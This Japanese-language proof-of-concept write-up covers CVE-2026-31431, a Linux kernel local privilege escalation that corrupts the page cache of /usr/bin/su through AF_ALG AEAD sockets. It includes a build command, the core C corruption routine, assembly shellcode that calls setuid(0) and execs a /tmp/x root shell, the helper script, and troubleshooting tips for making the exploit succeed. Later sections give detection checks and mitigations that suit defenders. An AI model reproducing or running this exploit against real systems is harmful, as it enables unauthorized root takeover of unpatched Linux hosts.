
CVE-2026-31431 用の実証概念実証エクスプロイト。AF_ALG AEAD ページキャッシュ破損を介した Linux カーネルのローカル権限昇格であり、root シェルを取得します。
2026-04-29 — このエクスプロイトを MyDigitalLife フォーラム で公開した翌日に公開します。 Python は不要で、C で記述され、以下を使用して可能な限り小さくコンパイルされています:
musl-gcc -static -Os -o exploit exploit.c -s重大な脅威です。エクスプロイトバイナリは依存関係なしでコンパイルされており、任意の Linux システムで脆弱性のテストに使用できます。
CVE-2026-31431 は、NIST が確認した Linux カーネルの脆弱性であり、権限のないローカルユーザーが数秒で
rootシェルを取得できるものです。CVE-2026-31431 のエクスプロイトが公開されていることを踏まえ、社内インフラストラクチャの露出を評価するために、バイナリの概念実証 (PoC) を開発しました。一部の環境では su の使用が制限されていますが、この脆弱性は基盤となるカーネルのメモリ管理を標的とするため、共有サーバーにとって特に重大です。その結果、sudo、passwd、mount、newgrp を含むあらゆる SETUID バイナリを悪用してエクスプロイトをトリガーし、root シェルを取得できます。標準的なユーザー空間の制限ではこの脅威を軽減するには不十分なため、カーネルのパッチ適用という管理者対応が直ちに必要です。パッチが適用されていないカーネルを実行している Linux システムはすべてリスクがあります。
独自の動作するエクスプロイト · Linux カーネル · AF_ALG 暗号インターフェース (AEAD)
ディスク上のファイルに触れることなく、カーネルページキャッシュ内の /usr/bin/su を置き換えます
ローカルシェルアクセスで十分 — 追加の権限は不要
パッチ未適用の Linux ディストリビューションに影響

CVE-2026-31431 は、Linux カーネルの暗号サブシステムにおける scatter-gather I/O 操作と ページキャッシュ 参照の処理に関するバグです。具体的には、AEAD アルゴリズム用の AF_ALG ソケット実装 (crypto/af_alg.c、crypto/aead.c) に存在します。
Linux カーネルは、AF_ALG ソケットを通じてユーザー空間に暗号インターフェースを公開しています。脆弱性は、AEAD 復号操作中に、カーネルが復号出力を一時バッファではなく ソースファイルのページキャッシュページに直接マッピングしてしまう ことにあります。攻撃者はこれにより、root 権限なしで、ファイルシステムに目に見える痕跡を残すことなく、ディスク上のファイルを変更せずに任意のファイルのメモリ内コンテンツを上書きできます。
エクスプロイトは、/tmp/x のヘルパースクリプトと AF_ALG に基づく破損ループの 2 つのコンポーネントで構成されています。以下はソースコード解析に基づく正確なウォークスルーです:
1. ヘルパースクリプトのセットアップ
エクスプロイトは、以下の内容で /tmp/x を作成します:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
パーミッションを 0755 に設定します。理由: /usr/bin/su は起動時に環境変数 (TERM を含む) を削除します。ヘルパースクリプトは、実際のシェルを起動する前にそれらを復元し、機能するターミナルを保証します。
2. ELF ペイロードの構築
生のシェルコードを含む最小の 158 バイトの x86_64 ELF バイナリがメモリ内に構築されます。オフセット 150 の文字列 /bin/sh は、memcmp/memcpy を介して /tmp/x\0 にパッチされます。詳細は ELF ペイロード を参照してください。
3. /usr/bin/su を読み取り専用で開く
int su_fd = open("/usr/bin/su", O_RDONLY);
ファイルは読み取り専用で開かれます — エクスプロイトには書き込み権限は一切必要ありません。
4. 破損ループ — 4 バイトずつ 39 回の反復
ペイロード (158 バイト) は 4 バイトのチャンク (39 個の完全なチャンク) で処理されます。各チャンクは corrupt_binary_chunk() に渡され、以下を実行します:
AF_ALG ソケット (SOCK_SEQPACKET) を作成authencesn(hmac(sha256),cbc(aes)) — 複合 AEAD アルゴリズムにバインドop_sock) を受け入れ'A' + 4 ペイロードバイト) と 3 つの CMSG (ALG_OP_DECRYPT、IV (20 バイト)、assoclen=8) を含む sendmsg を送信splice を実行: su_fd → pipe → op_sock (カーネル経由のゼロコピー)recv() で最終化 — ここでカーネルが誤ってページキャッシュを上書きします5. 実行
execve("/usr/bin/su", args, NULL);
カーネルはページキャッシュ — 現在は汚染されている — を通じて /usr/bin/su をロードします。SUID ビット (chmod u+s) はそのままなので、カーネルはファイルを root として実行します。シェルコードは setuid(0) → execve("/tmp/x") → 対話型 root シェルを実行します。
flowchart TD
A[権限のないローカルユーザー] --> B["ヘルパースクリプト /tmp/x を作成\nchmod 0755"]
B --> C["158 バイトの ELF ペイロードを構築\nパッチ: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\n書き込み権限は不要"]
D --> E[ループ: 4 バイトのチャンク × 39]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: 72B キー + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: 8B データ + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\nカーネル経由のゼロコピー"]
K --> L[recv → AEAD 操作を最終化]
L --> M["カーネルのバグ: 復号出力が\nsu_fd のページキャッシュを上書き"]
M --> N{次のチャンク?}
N -->|はい| E
N -->|いいえ| O["execve /usr/bin/su"]
O --> P["カーネルが /usr/bin/su を\n汚染されたページキャッシュからロード"]
P --> Q["SUID ビットはそのまま\nカーネルが root として実行"]
Q --> R["シェルコード: setuid 0 システムコール 105"]
R --> S["execve /tmp/x システムコール 59"]
S --> T[対話型 root シェル]
以下で exploit.c の主要セクションを確認します:
corrupt_binary_chunk() 関数エクスプロイトの核心です。各呼び出しで、1 つの完全な AF_ALG トランザクションを調整します:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// AF_ALG ソケットを作成し、AEAD authencesn(hmac(sha256),cbc(aes)) にバインド
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// 72 バイトのキー + 認証タグサイズ = 4 バイト
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// バッファ: 関連データとして 4x 'A' + 4 ペイロードバイト
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 つの CMSG: DECRYPT 操作 / IV (20B、最初のバイト 0x10) / assoclen=8
// MSG_MORE 付き sendmsg — データはまだ完全ではない
sendmsg(op_sock, &msg, MSG_MORE);
// ゼロコピー splice: su_fd → pipe → op_sock (offset+4 バイト)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv が操作を最終化 — カーネルがここで su_fd のページキャッシュに誤って書き込む
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // 最後の 2 バイトをスキップ (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 個の完全なチャンク × 4 バイト = 156 バイトが適用される
ペイロードは、生のシェルコードを含む自己完結型の 158 バイトの x86_64 ELF バイナリです — 動的リンカーも外部ライブラリもありません。
; オフセット 120 — エントリポイント 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (オフセット 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; オフセット 150
db "/tmp/x", 0, 0 ; ("/bin/sh\0" からパッチ)
uname -r
出力を NIST が公開している脆弱なバージョンのリストと比較してください: nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available — system may be vulnerable')"
コマンドが [Errno 97] Address family not supported を返す場合 — モジュールは無効化されており、リスクは大幅に低くなります。
/usr/bin/su の SUID の確認ls -la /usr/bin/su
s ビットが存在する場合 (例: -rwsr-xr-x) — /usr/bin/su に SUID が設定されており、攻撃ベクトルとなります。
# 不要な場合は AF_ALG モジュールをアンロード
sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel — cannot unload"
# または — SUID を一時的に削除
sudo chmod u-s /usr/bin/su
このセクションは、隔離された環境で脆弱性を分析するセキュリティ研究者を対象としています。
socket() または bind() が失敗する症状: perror("socket") または perror("bind") が終了をトリガーします。
原因:
AF_ALG または authencesn アルゴリズムをサポートしていない — 確認: cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG ソケットの作成をブロックしている — ログを確認: dmesg | tail -20splice() が EPERM / EINVAL を返す症状: splice 操作がカーネルによって拒否されます。
原因:
su_fd がシンボリックリンクやデバイスではなく通常のファイルを指していることを確認dmesg を確認execve が通常のユーザーシェルを起動する症状: root プロンプトが表示されない; id が元の UID を示します。
原因:
/usr/bin/su に SUID ビットがない — ls -la /usr/bin/su、s ビットが表示される必要がありますexecve の前にページキャッシュがフラッシュされた可能性がある — sync を追加するか、ループ遅延を減らします/tmp/x が見つからない、または TERM がない症状: シェルは起動しますが、ターミナルのレンダリングが壊れています。
原因:
/tmp が書き込み可能で、noexec でマウントされていないことを確認/tmp/x のパーミッションが 0755 である必要がある — 確認: ls -la /tmp/xexecve("/tmp/x") が失敗する場合 — シェルコードを再パッチして /bin/sh を直接使用できます警告: このドキュメントは、情報提供、教育、および防御目的のみで公開されています。これは、NIST によって特定され、セキュリティコミュニティによって報告された公知の脅威を説明しています。所有していないシステム、またはテストする明示的な許可がないシステムでエクスプロイトを実行すると、該当する法律に違反し、刑事責任が生じる可能性があります。隔離されたラボ環境でのみテストしてください。
すべての商標は、それぞれの所有者の財産です。Linux および関連するマークは、Linux Foundation の商標です。
最終更新: 2026-04-29
| プロパティ | 値 |
|---|
| 識別子 | CVE-2026-31431 |
| 参照 | NIST NVD |
| タイプ | ローカル権限昇格 (LPE) |
| コンポーネント | Linux カーネル — AF_ALG / AEAD (authencesn) |
| 必要なアクセス | 権限のないローカルユーザー |
| 影響 | 対話型 root シェル |
| エクスプロイトの状態 | 動作する PoC が GitHub で公開されています |
| 永続性 | なし — 変更は RAM 内のみに存在し、再起動で元の状態に戻ります |
| システム | ステータス |
|---|
| Ubuntu 24.04 (ベアメタル / VM) | ⚠️ パッチ未適用のカーネルで脆弱 |
| パッチ未適用カーネルの Debian、Fedora、Arch | ⚠️ 脆弱 |
CONFIG_SECURITY_LOCKDOWN_LSM を有効にしたディストリビューション | ✅ 保護されている可能性が高い |
nosuid または ProtectSUID (systemd) を備えたシステム | ✅ 保護されている |
AppArmor/SELinux が AF_ALG をブロックしているシステム | ✅ 保護されている |
| macOS、Windows (ネイティブ) | ✅ 影響なし |
| フィールド | 詳細 |
|---|
| 合計サイズ | 158 バイト |
| ELF ヘッダー | 120 バイト (e_type=2 EXEC、e_machine=62 x86_64) |
| エントリポイント | 0x00400078 = オフセット 120 (ヘッダーの直後) |
| シェルコード | 30 バイト (オフセット 120–149) |
| ターゲット文字列 | オフセット 150 の 8 バイト (/bin/sh\0 → /tmp/x\0 にパッチ) |
| 4 バイトチャンク | 39 個の完全なチャンク (156 バイト); 最後の 2 バイトはスキップ |
| 緩和策 | 適用方法 | 効果 |
|---|
| カーネル更新 | sudo apt update && sudo apt upgrade + 再起動 | ✅ 完全 (パッチが利用可能な場合) |
| AF_ALG モジュールのブラックリスト化 | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ 攻撃ベクトルをブロック |
su から SUID を削除 | sudo chmod u-s /usr/bin/su | ✅ このエクスプロイトをブロック (注: su は機能しなくなります) |
/tmp を noexec でマウント | /etc/fstab を編集: tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ 部分的 — /tmp/x をブロック、エクスプロイトは別のパスを使用する可能性があります |
| AppArmor / SELinux | 権限のないユーザーに対して AF_ALG socket をブロックするプロファイル | ✅ 正しい設定で効果的 |